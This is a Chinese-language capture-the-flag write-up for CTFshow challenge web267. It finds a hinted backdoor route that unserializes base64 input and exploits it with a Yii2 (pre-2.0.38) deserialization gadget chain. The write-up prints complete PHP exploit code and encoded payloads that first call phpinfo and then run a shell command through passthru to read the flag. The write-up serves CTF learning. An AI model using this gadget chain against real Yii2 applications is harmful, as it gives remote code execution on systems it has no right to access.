目錄

• 思路
• 題解
• 總結(jié)

---

思路

進去是一個網(wǎng)頁,在login頁面試了下密碼,發(fā)現(xiàn)是admin:admin,成功登錄,但發(fā)現(xiàn)沒什么改變

一個個頁面查看源代碼,最后再about頁面中發(fā)現(xiàn)提示

訪問?r=site%2Fabout&view-source拿到提示

///backdoor/shell unserialize(base64_decode($_GET['code']))

剛開始不知道怎么去用,后面想到%2F就是/,嘗試了下r=/backdoor/shell,提示要加上參數(shù),然后思路又斷了,應(yīng)該是信息收集的不夠

用Wappalyzer插件發(fā)現(xiàn)用的是Yli框架,又再源碼中得知他用的是2.0版本,網(wǎng)上搜下有沒有相關(guān)漏洞

參考博客:https://blog.csdn.net/xuandao_ahfengren/article/details/111259943中給出的exp,適用于Yii2 2.0.38 之前的版本

<?php namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'phpinfo';$this->id = '1';}} }namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}} }namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}} } namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult));//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19 } ?>

成功顯示phpinfo頁面

題解

發(fā)現(xiàn)用passthru可以直接rce

exp:

<?php namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'passthru';$this->id = 'tac /flag';}} }namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new CreateAction(), 'run'];}} }namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new Generator;}} } namespace{echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?r=/backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19

---

總結(jié)

挺難的

總結(jié)

以上是生活随笔為你收集整理的CTFshow 反序列化 web267的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。